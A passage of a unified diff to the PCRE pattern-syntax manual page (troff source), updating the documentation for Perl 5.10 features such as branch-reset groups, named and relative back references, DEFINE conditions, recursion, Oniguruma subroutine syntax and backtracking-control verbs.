 dollar, the only relationship being that they both involve newlines. Dot has no
@@ -597,11 +847,11 @@
 .rs
 .sp
 Outside a character class, the escape sequence \eC matches any one byte, both
-in and out of UTF-8 mode. Unlike a dot, it always matches CR and LF. The
-feature is provided in Perl in order to match individual bytes in UTF-8 mode.
-Because it breaks up UTF-8 characters into individual bytes, what remains in
-the string may be a malformed UTF-8 string. For this reason, the \eC escape
-sequence is best avoided.
+in and out of UTF-8 mode. Unlike a dot, it always matches any line-ending
+characters. The feature is provided in Perl in order to match individual bytes
+in UTF-8 mode. Because it breaks up UTF-8 characters into individual bytes,
+what remains in the string may be a malformed UTF-8 string. For this reason,
+the \eC escape sequence is best avoided.
 .P
 PCRE does not allow \eC to appear in lookbehind assertions
 .\" HTML <a href="#lookbehind">
@@ -652,10 +902,10 @@
 ensure that PCRE is compiled with Unicode property support as well as with
 UTF-8 support.
 .P
-Characters that might indicate line breaks (CR and LF) are never treated in any
-special way when matching character classes, whatever line-ending sequence is
-in use, and whatever setting of the PCRE_DOTALL and PCRE_MULTILINE options is
-used. A class such as [^a] always matches one of these characters.
+Characters that might indicate line breaks are never treated in any special way
+when matching character classes, whatever line-ending sequence is in use, and
+whatever setting of the PCRE_DOTALL and PCRE_MULTILINE options is used. A class
+such as [^a] always matches one of these characters.
 .P
 The minus (hyphen) character can be used to specify a range of characters in a
 character class. For example, [d-m] matches any letter between d and m,
@@ -679,7 +929,7 @@
 If a range that includes letters is used when caseless matching is set, it
 matches the letters in either case. For example, [W-c] is equivalent to
 [][\e\e^_`wxyzabc], matched caselessly, and in non-UTF-8 mode, if character
-tables for the "fr_FR" locale are in use, [\exc8-\excb] matches accented E
+tables for a French locale are in use, [\exc8-\excb] matches accented E
 characters in both cases. In UTF-8 mode, PCRE supports the concept of case for
 characters with values greater than 128 only when it is compiled with Unicode
 property support.
@@ -769,8 +1019,9 @@
 .rs
 .sp
 The settings of the PCRE_CASELESS, PCRE_MULTILINE, PCRE_DOTALL, and
-PCRE_EXTENDED options can be changed from within the pattern by a sequence of
-Perl option letters enclosed between "(?" and ")". The option letters are
+PCRE_EXTENDED options (which are Perl-compatible) can be changed from within
+the pattern by a sequence of Perl option letters enclosed between "(?" and ")".
+The option letters are
 .sp
   i  for PCRE_CASELESS
   m  for PCRE_MULTILINE
@@ -784,14 +1035,18 @@
 permitted. If a letter appears both before and after the hyphen, the option is
 unset.
 .P
-When an option change occurs at top level (that is, not inside subpattern
-parentheses), the change applies to the remainder of the pattern that follows.
-If the change is placed right at the start of a pattern, PCRE extracts it into
-the global options (and it will therefore show up in data extracted by the
-\fBpcre_fullinfo()\fP function).
+The PCRE-specific options PCRE_DUPNAMES, PCRE_UNGREEDY, and PCRE_EXTRA can be
+changed in the same way as the Perl-compatible options by using the characters
+J, U and X respectively.
 .P
-An option change within a subpattern affects only that part of the current
-pattern that follows it, so
+When one of these option changes occurs at top level (that is, not inside
+subpattern parentheses), the change applies to the remainder of the pattern
+that follows. If the change is placed right at the start of a pattern, PCRE
+extracts it into the global options (and it will therefore show up in data
+extracted by the \fBpcre_fullinfo()\fP function).
+.P
+An option change within a subpattern (see below for a description of
+subpatterns) affects only that part of the current pattern that follows it, so
 .sp
   (a(?i)b)c
 .sp
@@ -807,9 +1062,17 @@
 option settings happen at compile time. There would be some very weird
 behaviour otherwise.
 .P
-The PCRE-specific options PCRE_DUPNAMES, PCRE_UNGREEDY, and PCRE_EXTRA can be
-changed in the same way as the Perl-compatible options by using the characters
-J, U and X respectively.
+\fBNote:\fP There are other PCRE-specific options that can be set by the
+application when the compile or match functions are called. In some cases the
+pattern can contain special leading sequences such as (*CRLF) to override what
+the application has set or what has been defaulted. Details are given in the
+section entitled
+.\" HTML <a href="#newlineseq">
+.\" </a>
+"Newline sequences"
+.\"
+above. There is also the (*UTF8) leading sequence that can be used to set UTF-8
+mode; this is equivalent to setting the PCRE_UTF8 option.
 .
 .
 .\" HTML <a name="subpattern"></a>
@@ -824,7 +1087,7 @@
   cat(aract|erpillar|)
 .sp
 matches one of the words "cat", "cataract", or "caterpillar". Without the
-parentheses, it would match "cataract", "erpillar" or the empty string.
+parentheses, it would match "cataract", "erpillar" or an empty string.
 .sp
 2. It sets up the subpattern as a capturing subpattern. This means that, when
 the whole pattern matches, that portion of the subject string that matched the
@@ -849,8 +1112,7 @@
   the ((?:red|white) (king|queen))
 .sp
 the captured substrings are "white queen" and "queen", and are numbered 1 and
-2. The maximum number of capturing subpatterns is 65535, and the maximum depth
-of nesting of all subpatterns, both capturing and non-capturing, is 200.
+2. The maximum number of capturing subpatterns is 65535.
 .P
 As a convenient shorthand, if any option settings are required at the start of
 a non-capturing subpattern, the option letters may appear between the "?" and
@@ -865,14 +1127,51 @@
 the above patterns match "SUNDAY" as well as "Saturday".
 .
 .
+.SH "DUPLICATE SUBPATTERN NUMBERS"
+.rs
+.sp
+Perl 5.10 introduced a feature whereby each alternative in a subpattern uses
+the same numbers for its capturing parentheses. Such a subpattern starts with
+(?| and is itself a non-capturing subpattern. For example, consider this
+pattern:
+.sp
+  (?|(Sat)ur|(Sun))day
+.sp
+Because the two alternatives are inside a (?| group, both sets of capturing
+parentheses are numbered one. Thus, when the pattern matches, you can look
+at captured substring number one, whichever alternative matched. This construct
+is useful when you want to capture part, but not all, of one of a number of
+alternatives. Inside a (?| group, parentheses are numbered as usual, but the
+number is reset at the start of each branch. The numbers of any capturing
+buffers that follow the subpattern start after the highest number used in any
+branch. The following example is taken from the Perl documentation.
+The numbers underneath show in which buffer the captured content will be
+stored.
+.sp
+  # before  ---------------branch-reset----------- after
+  / ( a )  (?| x ( y ) z | (p (q) r) | (t) u (v) ) ( z ) /x
+  # 1            2         2  3        2     3     4
+.sp
+A backreference or a recursive call to a numbered subpattern always refers to
+the first one in the pattern with the given number.
+.P
+An alternative approach to using this "branch reset" feature is to use
+duplicate named subpatterns, as described in the next section.
+.
+.
 .SH "NAMED SUBPATTERNS"
 .rs
 .sp
 Identifying capturing parentheses by number is simple, but it can be very hard
 to keep track of the numbers in complicated regular expressions. Furthermore,
 if an expression is modified, the numbers may change. To help with this
-difficulty, PCRE supports the naming of subpatterns, something that Perl does
-not provide. The Python syntax (?P<name>...) is used. References to capturing
+difficulty, PCRE supports the naming of subpatterns. This feature was not
+added to Perl until release 5.10. Python had the feature earlier, and PCRE
+introduced it at release 4.0, using the Python syntax. PCRE now supports both
+the Perl and the Python syntax.
+.P
+In PCRE, a subpattern can be named in one of three ways: (?<name>...) or
+(?'name'...) as in Perl, or (?P<name>...) as in Python. References to capturing
 parentheses from other parts of the pattern, such as
 .\" HTML <a href="#backreferences">
 .\" </a>
@@ -890,10 +1189,10 @@
 can be made by name as well as by number.
 .P
 Names consist of up to 32 alphanumeric characters and underscores. Named
-capturing parentheses are still allocated numbers as well as names. The PCRE
-API provides function calls for extracting the name-to-number translation table
-from a compiled pattern. There is also a convenience function for extracting a
-captured substring by name.
+capturing parentheses are still allocated numbers as well as names, exactly as
+if the names were not present. The PCRE API provides function calls for
+extracting the name-to-number translation table from a compiled pattern. There
+is also a convenience function for extracting a captured substring by name.
 .P
 By default, a name must be unique within a pattern, but it is possible to relax
 this constraint by setting the PCRE_DUPNAMES option at compile time. This can
@@ -902,15 +1201,18 @@
 abbreviation or as the full name, and in both cases you want to extract the
 abbreviation. This pattern (ignoring the line breaks) does the job:
 .sp
-  (?P<DN>Mon|Fri|Sun)(?:day)?|
-  (?P<DN>Tue)(?:sday)?|
-  (?P<DN>Wed)(?:nesday)?|
-  (?P<DN>Thu)(?:rsday)?|
-  (?P<DN>Sat)(?:urday)?
+  (?<DN>Mon|Fri|Sun)(?:day)?|
+  (?<DN>Tue)(?:sday)?|
+  (?<DN>Wed)(?:nesday)?|
+  (?<DN>Thu)(?:rsday)?|
+  (?<DN>Sat)(?:urday)?
 .sp
 There are five capturing substrings, but only one is ever set after a match.
+(An alternative way of solving this problem is to use a "branch reset"
+subpattern, as described in the previous section.)
+.P
 The convenience function for extracting the data by name returns the substring
-for the first, and in this example, the only, subpattern of that name that
+for the first (and in this example, the only) subpattern of that name that
 matched. This saves searching to find which numbered subpattern it was. If you
 make a reference to a non-unique named subpattern from elsewhere in the
 pattern, the one that corresponds to the lowest number is used. For further
@@ -919,6 +1221,10 @@
 \fBpcreapi\fP
 .\"
 documentation.
+.P
+\fBWarning:\fP You cannot use different names to distinguish between two
+subpatterns with the same number (see the previous section) because PCRE uses
+only the numbers when matching.
 .
 .
 .SH REPETITION
@@ -928,9 +1234,10 @@
 items:
 .sp
   a literal data character
-  the . metacharacter
+  the dot metacharacter
   the \eC escape sequence
   the \eX escape sequence (in UTF-8 mode with Unicode properties)
+  the \eR escape sequence
   an escape such as \ed that matches a single character
   a character class
   a back reference (see next section)
@@ -966,10 +1273,17 @@
 which may be several bytes long (and they may be of different lengths).
 .P
 The quantifier {0} is permitted, causing the expression to behave as if the
-previous item and the quantifier were not present.
+previous item and the quantifier were not present. This may be useful for
+subpatterns that are referenced as
+.\" HTML <a href="#subpatternsassubroutines">
+.\" </a>
+subroutines
+.\"
+from elsewhere in the pattern. Items other than subpatterns that have a {0}
+quantifier are omitted from the compiled pattern.
 .P
-For convenience (and historical compatibility) the three most common
-quantifiers have single-character abbreviations:
+For convenience, the three most common quantifiers have single-character
+abbreviations:
 .sp
   *    is equivalent to {0,}
   +    is equivalent to {1,}
@@ -1017,7 +1331,7 @@
 which matches one digit by preference, but can match two if that is the only
 way the rest of the pattern matches.
 .P
-If the PCRE_UNGREEDY option is set (an option which is not available in Perl),
+If the PCRE_UNGREEDY option is set (an option that is not available in Perl),
 the quantifiers are not greedy by default, but individual ones can be made
 greedy by following them with a question mark. In other words, it inverts the
 default behaviour.
@@ -1027,7 +1341,7 @@
 compiled pattern, in proportion to the size of the minimum or maximum.
 .P
 If a pattern starts with .* or .{0,} and the PCRE_DOTALL option (equivalent
-to Perl's /s) is set, thus allowing the . to match newlines, the pattern is
+to Perl's /s) is set, thus allowing the dot to match newlines, the pattern is
 implicitly anchored, because whatever follows will be tried against every
 character position in the subject string, so there is no point in retrying the
 overall match at any position after the first. PCRE normally treats such a
@@ -1039,8 +1353,8 @@
 .P
 However, there is one situation where the optimization cannot be used. When .*
 is inside capturing parentheses that are the subject of a backreference
-elsewhere in the pattern, a match at the start may fail, and a later one
-succeed. Consider, for example:
+elsewhere in the pattern, a match at the start may fail where a later one
+succeeds. Consider, for example:
 .sp
   (.*)abc\e1
 .sp
@@ -1066,12 +1380,12 @@
 .SH "ATOMIC GROUPING AND POSSESSIVE QUANTIFIERS"
 .rs
 .sp
-With both maximizing and minimizing repetition, failure of what follows
-normally causes the repeated item to be re-evaluated to see if a different
-number of repeats allows the rest of the pattern to match. Sometimes it is
-useful to prevent this, either to change the nature of the match, or to cause
-it fail earlier than it otherwise might, when the author of the pattern knows
-there is no point in carrying on.
+With both maximizing ("greedy") and minimizing ("ungreedy" or "lazy")
+repetition, failure of what follows normally causes the repeated item to be
+re-evaluated to see if a different number of repeats allows the rest of the
+pattern to match. Sometimes it is useful to prevent this, either to change the
+nature of the match, or to cause it fail earlier than it otherwise might, when
+the author of the pattern knows there is no point in carrying on.
 .P
 Consider, for example, the pattern \ed+foo when applied to the subject line
 .sp
@@ -1083,7 +1397,7 @@
 (a term taken from Jeffrey Friedl's book) provides the means for specifying
 that once a subpattern has matched, it is not to be re-evaluated in this way.
 .P
-If we use atomic grouping for the previous example, the matcher would give up
+If we use atomic grouping for the previous example, the matcher gives up
 immediately on failing to match "foo" the first time. The notation is a kind of
 special parenthesis, starting with (?> as in this example:
 .sp
@@ -1113,16 +1427,27 @@
 .sp
   \ed++foo
 .sp
+Note that a possessive quantifier can be used with an entire group, for
+example:
+.sp
+  (abc|xyz){2,3}+
+.sp
 Possessive quantifiers are always greedy; the setting of the PCRE_UNGREEDY
 option is ignored. They are a convenient notation for the simpler forms of
-atomic group. However, there is no difference in the meaning or processing of a
-possessive quantifier and the equivalent atomic group.
+atomic group. However, there is no difference in the meaning of a possessive
+quantifier and the equivalent atomic group, though there may be a performance
+difference; possessive quantifiers should be slightly faster.
 .P
-The possessive quantifier syntax is an extension to the Perl syntax. Jeffrey
-Friedl originated the idea (and the name) in the first edition of his book.
-Mike McCloskey liked it, so implemented it when he built Sun's Java package,
-and PCRE copied it from there.
+The possessive quantifier syntax is an extension to the Perl 5.8 syntax.
+Jeffrey Friedl originated the idea (and the name) in the first edition of his
+book. Mike McCloskey liked it, so implemented it when he built Sun's Java
+package, and PCRE copied it from there. It ultimately found its way into Perl
+at release 5.10.
 .P
+PCRE has an optimization that automatically "possessifies" certain simple
+pattern constructs. For example, the sequence A+B is treated as A++B because
+there is no point in backtracking into a sequence of A's when B must follow.
+.P
 When a pattern contains an unlimited repeat inside a subpattern that can itself
 be repeated an unlimited number of times, the use of an atomic group is the
 only way to avoid some failing matches taking a very long time indeed. The
@@ -1167,16 +1492,40 @@
 when a repetition is involved and the subpattern to the right has participated
 in an earlier iteration.
 .P
-It is not possible to have a numerical "forward back reference" to subpattern
-whose number is 10 or more. However, a back reference to any subpattern is
-possible using named parentheses (see below). See also the subsection entitled
+It is not possible to have a numerical "forward back reference" to a subpattern
+whose number is 10 or more using this syntax because a sequence such as \e50 is
+interpreted as a character defined in octal. See the subsection entitled
 "Non-printing characters"
 .\" HTML <a href="#digitsafterbackslash">
 .\" </a>
 above
 .\"
-for further details of the handling of digits following a backslash.
+for further details of the handling of digits following a backslash. There is
+no such problem when named parentheses are used. A back reference to any
+subpattern is possible using named parentheses (see below).
 .P
+Another way of avoiding the ambiguity inherent in the use of digits following a
+backslash is to use the \eg escape sequence, which is a feature introduced in
+Perl 5.10. This escape must be followed by an unsigned number or a negative
+number, optionally enclosed in braces. These examples are all identical:
+.sp
+  (ring), \e1
+  (ring), \eg1
+  (ring), \eg{1}
+.sp
+An unsigned number specifies an absolute reference without the ambiguity that
+is present in the older syntax. It is also useful when literal digits follow
+the reference. A negative number is a relative reference. Consider this
+example:
+.sp
+  (abc(def)ghi)\eg{-1}
+.sp
+The sequence \eg{-1} is a reference to the most recently started capturing
+subpattern before \eg, that is, is it equivalent to \e2. Similarly, \eg{-2}
+would be equivalent to \e1. The use of relative references can be helpful in
+long patterns, and also in patterns that are created by joining together
+fragments that contain references within themselves.
+.P
 A back reference matches whatever actually matched the capturing subpattern in
 the current subject string, rather than anything matching the subpattern
 itself (see
@@ -1197,10 +1546,17 @@
 matches "rah rah" and "RAH RAH", but not "RAH rah", even though the original
 capturing subpattern is matched caselessly.
 .P
-Back references to named subpatterns use the Python syntax (?P=name). We could
-rewrite the above example as follows:
+There are several different ways of writing back references to named
+subpatterns. The .NET syntax \ek{name} and the Perl syntax \ek<name> or
+\ek'name' are supported, as is the Python syntax (?P=name). Perl 5.10's unified
+back reference syntax, in which \eg can be used for both numeric and named
+references, is also supported. We could rewrite the above example in any of
+the following ways:
 .sp
+  (?<p1>(?i)rah)\es+\ek<p1>
+  (?'p1'(?i)rah)\es+\ek{p1}
   (?P<p1>(?i)rah)\es+(?P=p1)
+  (?<p1>(?i)rah)\es+\eg{p1}
 .sp
 A subpattern that is referenced by name may appear in the pattern before or
 after the reference.
@@ -1323,19 +1679,27 @@
 .sp
   (?<=abc|abde)
 .sp
+In some cases, the Perl 5.10 escape sequence \eK
+.\" HTML <a href="#resetmatchstart">
+.\" </a>
+(see above)
+.\"
+can be used instead of a lookbehind assertion; this is not restricted to a
+fixed-length.
+.P
 The implementation of lookbehind assertions is, for each alternative, to
-temporarily move the current position back by the fixed width and then try to
+temporarily move the current position back by the fixed length and then try to
 match. If there are insufficient characters before the current position, the
-match is deemed to fail.
+assertion fails.
 .P
 PCRE does not allow the \eC escape (which matches a single byte in UTF-8 mode)
 to appear in lookbehind assertions, because it makes it impossible to calculate
-the length of the lookbehind. The \eX escape, which can match different numbers
-of bytes, is also not permitted.
+the length of the lookbehind. The \eX and \eR escapes, which can match
+different numbers of bytes, are also not permitted.
 .P
-Atomic groups can be used in conjunction with lookbehind assertions to specify
-efficient matching at the end of the subject string. Consider a simple pattern
-such as
+Possessive quantifiers can be used in conjunction with lookbehind assertions to
+specify efficient matching at the end of the subject string. Consider a simple
+pattern such as
 .sp
   abcd$
 .sp
@@ -1351,13 +1715,9 @@
 covers the entire string, from right to left, so we are no better off. However,
 if the pattern is written as
 .sp
-  ^(?>.*)(?<=abcd)
-.sp
-or, equivalently, using the possessive quantifier syntax,
-.sp
   ^.*+(?<=abcd)
 .sp
-there can be no backtracking for the .* item; it can match only the entire
+there can be no backtracking for the .*+ item; it can match only the entire
 string. The subsequent lookbehind assertion does a single test on the last four
 characters. If it fails, the match fails immediately. For long strings, this
 approach makes a significant difference to the processing time.
@@ -1413,15 +1773,19 @@
 no-pattern (if present) is used. If there are more than two alternatives in the
 subpattern, a compile-time error occurs.
 .P
-There are three kinds of condition. If the text between the parentheses
-consists of a sequence of digits, or a sequence of alphanumeric characters and
-underscores, the condition is satisfied if the capturing subpattern of that
-number or name has previously matched. There is a possible ambiguity here,
-because subpattern names may consist entirely of digits. PCRE looks first for a
-named subpattern; if it cannot find one and the text consists entirely of
-digits, it looks for a subpattern of that number, which must be greater than
-zero. Using subpattern names that consist entirely of digits is not
-recommended.
+There are four kinds of condition: references to subpatterns, references to
+recursion, a pseudo-condition called DEFINE, and assertions.
+.
+.SS "Checking for a used subpattern by number"
+.rs
+.sp
+If the text between the parentheses consists of a sequence of digits, the
+condition is true if the capturing subpattern of that number has previously
+matched. An alternative notation is to precede the digits with a plus or minus
+sign. In this case, the subpattern number is relative rather than absolute.
+The most recently opened parentheses can be referenced by (?(-1), the next most
+recent by (?(-2), and so on. In looping constructs it can also make sense to
+refer to subsequent groups with constructs such as (?(+2).
 .P
 Consider the following pattern, which contains non-significant white space to
 make it more readable (assume the PCRE_EXTENDED option) and to divide it into
@@ -1437,17 +1801,76 @@
 the condition is true, and so the yes-pattern is executed and a closing
 parenthesis is required. Otherwise, since no-pattern is not present, the
 subpattern matches nothing. In other words, this pattern matches a sequence of
-non-parentheses, optionally enclosed in parentheses. Rewriting it to use a
-named subpattern gives this:
+non-parentheses, optionally enclosed in parentheses.
+.P
+If you were embedding this pattern in a larger one, you could use a relative
+reference:
 .sp
-  (?P<OPEN> \e( )?    [^()]+    (?(OPEN) \e) )
+  ...other stuff... ( \e( )?    [^()]+    (?(-1) \e) ) ...
 .sp
+This makes the fragment independent of the parentheses in the larger pattern.
+.
+.SS "Checking for a used subpattern by name"
+.rs
+.sp
+Perl uses the syntax (?(<name>)...) or (?('name')...) to test for a used
+subpattern by name. For compatibility with earlier versions of PCRE, which had
+this facility before Perl, the syntax (?(name)...) is also recognized. However,
+there is a possible ambiguity with this syntax, because subpattern names may
+consist entirely of digits. PCRE looks first for a named subpattern; if it
+cannot find one and the name consists entirely of digits, PCRE looks for a
+subpattern of that number, which must be greater than zero. Using subpattern
+names that consist entirely of digits is not recommended.
+.P
+Rewriting the above example to use a named subpattern gives this:
+.sp
+  (?<OPEN> \e( )?    [^()]+    (?(<OPEN>) \e) )
+.sp
+.
+.SS "Checking for pattern recursion"
+.rs
+.sp
 If the condition is the string (R), and there is no subpattern with the name R,
-the condition is satisfied if a recursive call to the pattern or subpattern has
-been made. At "top level", the condition is false. This is a PCRE extension.
-Recursive patterns are described in the next section.
+the condition is true if a recursive call to the whole pattern or any
+subpattern has been made. If digits or a name preceded by ampersand follow the
+letter R, for example:
+.sp
+  (?(R3)...) or (?(R&name)...)
+.sp
+the condition is true if the most recent recursion is into the subpattern whose
+number or name is given. This condition does not check the entire recursion
+stack.
 .P
-If the condition is not a sequence of digits or (R), it must be an assertion.
+At "top level", all these recursion test conditions are false. Recursive
+patterns are described below.
+.
+.SS "Defining subpatterns for use by reference only"
+.rs
+.sp
+If the condition is the string (DEFINE), and there is no subpattern with the
+name DEFINE, the condition is always false. In this case, there may be only one
+alternative in the subpattern. It is always skipped if control reaches this
+point in the pattern; the idea of DEFINE is that it can be used to define
+"subroutines" that can be referenced from elsewhere. (The use of "subroutines"
+is described below.) For example, a pattern to match an IPv4 address could be
+written like this (ignore whitespace and line breaks):
+.sp
+  (?(DEFINE) (?<byte> 2[0-4]\ed | 25[0-5] | 1\ed\ed | [1-9]?\ed) )
+  \eb (?&byte) (\e.(?&byte)){3} \eb
+.sp
+The first part of the pattern is a DEFINE group inside which a another group
+named "byte" is defined. This matches an individual component of an IPv4
+address (a number less than 256). When matching takes place, this part of the
+pattern is skipped because DEFINE acts like a false condition.
+.P
+The rest of the pattern uses references to the named group to match the four
+dot-separated components of an IPv4 address, insisting on a word boundary at
+each end.
+.
+.SS "Assertion conditions"
+.rs
+.sp
+If the condition is not in any of the above formats, it must be an assertion.
 This may be a positive or negative lookahead or lookbehind assertion. Consider
 this pattern, again containing non-significant white space, and with the two
 alternatives on the second line:
@@ -1483,29 +1906,35 @@
 Consider the problem of matching a string in parentheses, allowing for
 unlimited nested parentheses. Without the use of recursion, the best that can
 be done is to use a pattern that matches up to some fixed depth of nesting. It
-is not possible to handle an arbitrary nesting depth. Perl provides a facility
-that allows regular expressions to recurse (amongst other things). It does this
-by interpolating Perl code in the expression at run time, and the code can
-refer to the expression itself. A Perl pattern to solve the parentheses problem
-can be created like this:
+is not possible to handle an arbitrary nesting depth.
+.P
+For some time, Perl has provided a facility that allows regular expressions to
+recurse (amongst other things). It does this by interpolating Perl code in the
+expression at run time, and the code can refer to the expression itself. A Perl
+pattern using code interpolation to solve the parentheses problem can be
+created like this:
 .sp
   $re = qr{\e( (?: (?>[^()]+) | (?p{$re}) )* \e)}x;
 .sp
 The (?p{...}) item interpolates Perl code at run time, and in this case refers
-recursively to the pattern in which it appears. Obviously, PCRE cannot support
-the interpolation of Perl code. Instead, it supports some special syntax for
-recursion of the entire pattern, and also for individual subpattern recursion.
+recursively to the pattern in which it appears.
 .P
-The special item that consists of (? followed by a number greater than zero and
-a closing parenthesis is a recursive call of the subpattern of the given
-number, provided that it occurs inside that subpattern. (If not, it is a
-"subroutine" call, which is described in the next section.) The special item
-(?R) is a recursive call of the entire regular expression.
+Obviously, PCRE cannot support the interpolation of Perl code. Instead, it
+supports special syntax for recursion of the entire pattern, and also for
+individual subpattern recursion. After its introduction in PCRE and Python,
+this kind of recursion was introduced into Perl at release 5.10.
 .P
-A recursive subpattern call is always treated as an atomic group. That is, once
-it has matched some of the subject string, it is never re-entered, even if
-it contains untried alternatives and there is a subsequent matching failure.
+A special item that consists of (? followed by a number greater than zero and a
+closing parenthesis is a recursive call of the subpattern of the given number,
+provided that it occurs inside that subpattern. (If not, it is a "subroutine"
+call, which is described in the next section.) The special item (?R) or (?0) is
+a recursive call of the entire regular expression.
 .P
+In PCRE (like Python, but unlike Perl), a recursive subpattern call is always
+treated as an atomic group. That is, once it has matched some of the subject
+string, it is never re-entered, even if it contains untried alternatives and
+there is a subsequent matching failure.
+.P
 This PCRE pattern solves the nested parentheses problem (assume the
 PCRE_EXTENDED option is set so that white space is ignored):
 .sp
@@ -1522,18 +1951,33 @@
   ( \e( ( (?>[^()]+) | (?1) )* \e) )
 .sp
 We have put the pattern into parentheses, and caused the recursion to refer to
-them instead of the whole pattern. In a larger pattern, keeping track of
-parenthesis numbers can be tricky. It may be more convenient to use named
-parentheses instead. For this, PCRE uses (?P>name), which is an extension to
-the Python syntax that PCRE uses for named parentheses (Perl does not provide
-named parentheses). We could rewrite the above example as follows:
+them instead of the whole pattern.
+.P
+In a larger pattern, keeping track of parenthesis numbers can be tricky. This
+is made easier by the use of relative references. (A Perl 5.10 feature.)
+Instead of (?1) in the pattern above you can write (?-2) to refer to the second
+most recently opened parentheses preceding the recursion. In other words, a
+negative number counts capturing parentheses leftwards from the point at which
+it is encountered.
+.P
+It is also possible to refer to subsequently opened parentheses, by writing
+references such as (?+2). However, these cannot be recursive because the
+reference is not inside the parentheses that are referenced. They are always
+"subroutine" calls, as described in the next section.
+.P
+An alternative approach is to use named parentheses instead. The Perl syntax
+for this is (?&name); PCRE's earlier syntax (?P>name) is also supported. We
+could rewrite the above example as follows:
 .sp
-  (?P<pn> \e( ( (?>[^()]+) | (?P>pn) )* \e) )
+  (?<pn> \e( ( (?>[^()]+) | (?&pn) )* \e) )
 .sp
-This particular example pattern contains nested unlimited repeats, and so the
-use of atomic grouping for matching strings of non-parentheses is important
-when applying the pattern to strings that do not match. For example, when this
-pattern is applied to
+If there is more than one subpattern with the same name, the earliest one is
+used.
+.P
+This particular example pattern that we have been looking at contains nested
+unlimited repeats, and so the use of atomic grouping for matching strings of
+non-parentheses is important when applying the pattern to strings that do not
+match. For example, when this pattern is applied to
 .sp
   (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa()
 .sp
@@ -1545,7 +1989,7 @@
 At the end of a match, the values set for any capturing subpatterns are those
 from the outermost level of the recursion at which the subpattern value is set.
 If you want to obtain intermediate values, a callout function can be used (see
-the next section and the
+below and the
 .\" HREF
 \fBpcrecallout\fP
 .\"
@@ -1584,9 +2028,16 @@
 .sp
 If the syntax for a recursive subpattern reference (either by number or by
 name) is used outside the parentheses to which it refers, it operates like a
-subroutine in a programming language. An earlier example pointed out that the
-pattern
+subroutine in a programming language. The "called" subpattern may be defined
+before or after the reference. A numbered reference can be absolute or
+relative, as in these examples:
 .sp
+  (...(absolute)...)...(?2)...
+  (...(relative)...)...(?-1)...
+  (...(?+1)...(relative)...
+.sp
+An earlier example pointed out that the pattern
+.sp
   (sens|respons)e and \e1ibility
 .sp
 matches "sense and sensibility" and "response and responsibility", but not
@@ -1595,15 +2046,44 @@
   (sens|respons)e and (?1)ibility
 .sp
 is used, it does match "sense and responsibility" as well as the other two
-strings. Such references, if given numerically, must follow the subpattern to
-which they refer. However, named references can refer to later subpatterns.
+strings. Another example is given in the discussion of DEFINE above.
 .P
 Like recursive subpatterns, a "subroutine" call is always treated as an atomic
 group. That is, once it has matched some of the subject string, it is never
 re-entered, even if it contains untried alternatives and there is a subsequent
 matching failure.
+.P
+When a subpattern is used as a subroutine, processing options such as
+case-independence are fixed when the subpattern is defined. They cannot be
+changed for different calls. For example, consider this pattern:
+.sp
+  (abc)(?i:(?-1))
+.sp
+It matches "abcabc". It does not match "abcABC" because the change of
+processing option does not affect the called subpattern.
 .
 .
+.\" HTML <a name="onigurumasubroutines"></a>
+.SH "ONIGURUMA SUBROUTINE SYNTAX"
+.rs
+.sp
+For compatibility with Oniguruma, the non-Perl syntax \eg followed by a name or
+a number enclosed either in angle brackets or single quotes, is an alternative
+syntax for referencing a subpattern as a subroutine, possibly recursively. Here
+are two of the examples used above, rewritten using this syntax:
+.sp
+  (?<pn> \e( ( (?>[^()]+) | \eg<pn> )* \e) )
+  (sens|respons)e and \eg'1'ibility
+.sp
+PCRE supports an extension to Oniguruma: if a number is preceded by a
+plus or a minus sign it is taken as a relative reference. For example:
+.sp
+  (abc)(?i:\eg<-1>)
+.sp
+Note that \eg{...} (Perl syntax) and \eg<...> (Oniguruma syntax) are \fInot\fP
+synonymous. The former is a back reference; the latter is a subroutine call.
+.
+.
 .SH CALLOUTS
 .rs
 .sp
@@ -1622,7 +2102,7 @@
 can put a number less than 256 after the letter C. The default value is zero.
 For example, this pattern has two callout points:
 .sp
-  (?C1)\dabc(?C2)def
+  (?C1)abc(?C2)def
 .sp
 If the PCRE_AUTO_CALLOUT flag is passed to \fBpcre_compile()\fP, callouts are
 automatically installed before each item in the pattern. They are all numbered
@@ -1638,8 +2118,142 @@
 \fBpcrecallout\fP
 .\"
 documentation.
+.
+.
+.SH "BACKTRACKING CONTROL"
+.rs
+.sp
+Perl 5.10 introduced a number of "Special Backtracking Control Verbs", which
+are described in the Perl documentation as "experimental and subject to change
+or removal in a future version of Perl". It goes on to say: "Their usage in
+production code should be noted to avoid problems during upgrades." The same
+remarks apply to the PCRE features described in this section.
 .P
-.in 0
-Last updated: 06 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+Since these verbs are specifically related to backtracking, most of them can be
+used only when the pattern is to be matched using \fBpcre_exec()\fP, which uses
+a backtracking algorithm. With the exception of (*FAIL), which behaves like a
+failing negative assertion, they cause an error if encountered by
+\fBpcre_dfa_exec()\fP.
+.P
+The new verbs make use of what was previously invalid syntax: an opening
+parenthesis followed by an asterisk. In Perl, they are generally of the form
+(*VERB:ARG) but PCRE does not support the use of arguments, so its general
+form is just (*VERB). Any number of these verbs may occur in a pattern. There
+are two kinds:
+.
+.SS "Verbs that act immediately"
+.rs
+.sp
+The following verbs act as soon as they are encountered:
+.sp
+   (*ACCEPT)
+.sp
+This verb causes the match to end successfully, skipping the remainder of the
+pattern. When inside a recursion, only the innermost pattern is ended
+immediately. PCRE differs from Perl in what happens if the (*ACCEPT) is inside
+capturing parentheses. In Perl, the data so far is captured: in PCRE no data is
+captured. For example:
+.sp
+  A(A|B(*ACCEPT)|C)D
+.sp
+This matches "AB", "AAD", or "ACD", but when it matches "AB", no data is
+captured.
+.sp
+  (*FAIL) or (*F)
+.sp
+This verb causes the match to fail, forcing backtracking to occur. It is
+equivalent to (?!) but easier to read. The Perl documentation notes that it is
+probably useful only when combined with (?{}) or (??{}). Those are, of course,
+Perl features that are not present in PCRE. The nearest equivalent is the
+callout feature, as for example in this pattern:
+.sp
+  a+(?C)(*FAIL)
+.sp
+A match with the string "aaaa" always fails, but the callout is taken before
+each backtrack happens (in this example, 10 times).
+.
+.SS "Verbs that act after backtracking"
+.rs
+.sp
+The following verbs do nothing when they are encountered. Matching continues
+with what follows, but if there is no subsequent match, a failure is forced.
+The verbs differ in exactly what kind of failure occurs.
+.sp
+  (*COMMIT)
+.sp
+This verb causes the whole match to fail outright if the rest of the pattern
